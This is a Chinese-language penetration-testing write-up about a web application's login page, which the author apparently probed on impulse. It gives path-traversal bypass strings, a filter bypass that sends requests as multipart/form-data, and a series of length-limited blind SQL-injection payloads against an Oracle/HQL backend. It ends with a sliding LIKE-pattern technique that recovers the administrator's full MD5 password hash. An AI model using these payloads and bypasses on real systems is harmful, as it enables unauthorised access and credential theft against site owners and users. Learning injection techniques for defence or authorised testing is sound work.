0x01 前言
虽然本文主要讲述了SQL注入,但同时也记录了在测试这个网站时的整体思考方式以及不同测试点的攻击方式。将这种方式记录下来并形成自己在渗透测试中的checklist,可以使渗透流程更加标准化,使整个测试
过程更加行云流水得心应手。
0x02 分析目标
打开项目中的网站,只有一个登录页面,经典的后台
多次尝试登录,观察登录数据包后得出以下猜想
- 使用了JSP以及Servlet技术,可以尝试权限绕过:
;.js /..;/ .%64%6f
等等 - 密码加密方式略微复杂,不同于直接使用AES、DES、RSA等加密方式,可能是上述多种加密组合使用,分析加密可能需要大量时间
- 登录错误的返回有:用户名或密码错误、密码错误次数超限两种情况,难以爆破用户账号
- 没有验证码限制,在分析出密码加密后还是可以尝试爆破的
汇总上面的结论
首先尝试权限绕过,常见的思路均失败,放弃。由2、3得出很难直接通过账号+密码组合进入后台,所以只爆破了TOP1000账号以及常见的123456、111111等最常见弱口令,但是并没有出结果。
0x03 测试
粗粗扫了一眼密码加密流程,引用的是CFCASIPInput.min.js
百度搜索了之后找到了开发文档,但测这个站是临时起意,不想花费太多时间去慢慢debug,除非实在挖不到其他的洞
最后尝试一下SQL注入,加了一个单引号后返回您发送请求中的参数含有非法字符
随便输入一个路径再试试,依然返回您发送请求中的参数含有非法字符
,猜测极有可能是通过filter层实现的过滤,那么这就存在一个绕过此过滤的可能性
尝试将请求包改为multipart/form-data
格式,很多filter只针对正常的POST Form-data做了过滤,忽略了multipart格式
1'
返回系统异常,请联系管理员
1''
返回用户名或密码错误!
妥妥的SQL注入,登录口的SQL注入,可以尝试万能密码,获取账号,获取密码等等,但是事情并没有那么简单
通过测试发现,
- 简单使用数据库特征函数判断,目标用的是HQL+Oracle且loginName限制32位超过会报错
- 密码字段是password加密方式为MD5
11111111111111111111111111111111
返回用户名或密码错误
111111111111111111111111111111111
返回系统错误请联系管理员
经过大量测试,有以下情况是有可能有攻击面的
payload1: admin'or password like'********%
使用payload1
可以尝试去匹配TOP密码的MD5的前8位,找到一个在数据库的密码:000000(670b14728ad9902aecba32e22fa4f6bd)
说明数据库存在密码为000000的用户,后来尝试爆破这个用户,但是并没有找到
payload2: admin'and substr(password,1,1)='*
使用这个payload2
可以直接获取admin的密码,但仔细查看payload会发现它是33位,超了1位。解决方法也有,尝试如下:
- 在Oracle中关于字符串函数有substr、instr、lpad、rpad等,但是都不足以在32位内构造出有效payload 失败
- 找到存在的用户且用户名长度小于登录4即可,爆破了TOP 1500与TOP 5000常用用户名字典,没有爆破到 失败
思绪回到payload1
进行少许变形,admin'and password like'*%
当密码匹配成功后返回密码错误次数超限
密码匹配失败返回用户名或密码错误
也有攻击面,但是由于长度限制admin'and password like'*******%
已经是32位极限了,只能得出密码的前7位,当尝试到第8位就会由于超出长度限制而报错
看似也要失败了,但是冥冥之中又好像能解决问题。沉思许久之后,突然想到刚刚一直在用的like特性,忽略可以在前后都加上%
进行全文匹配。把密码片段夹在%%
中间即可,如admin'and password like'%******%
,用密码片段逐步匹配后就可获取完整的密码
举个例子123456的MD5结果是e10adc3949ba59abbe56e057f20f883e
利用admin'and password like'*%
这个payload可以一直获取到前7位为e10adc3
,接下来就可以利用这7位密码逐步匹配,如下:
admin'and password like'%10adc*% 得出3
admin'and password like'%0adc3*% 得出9
admin'and password like'%adc39*% 得出4
admin'and password like'%dc394*% 得出..
...
admin'and password like'%f20f8*% 得出8
admin'and password like'%20f88*% 得出3
admin'and password like'%0f883*% 得出e
最后得出e10adc3949ba59abbe56e057f20f883e
借此就可以获取到完整的admin的密码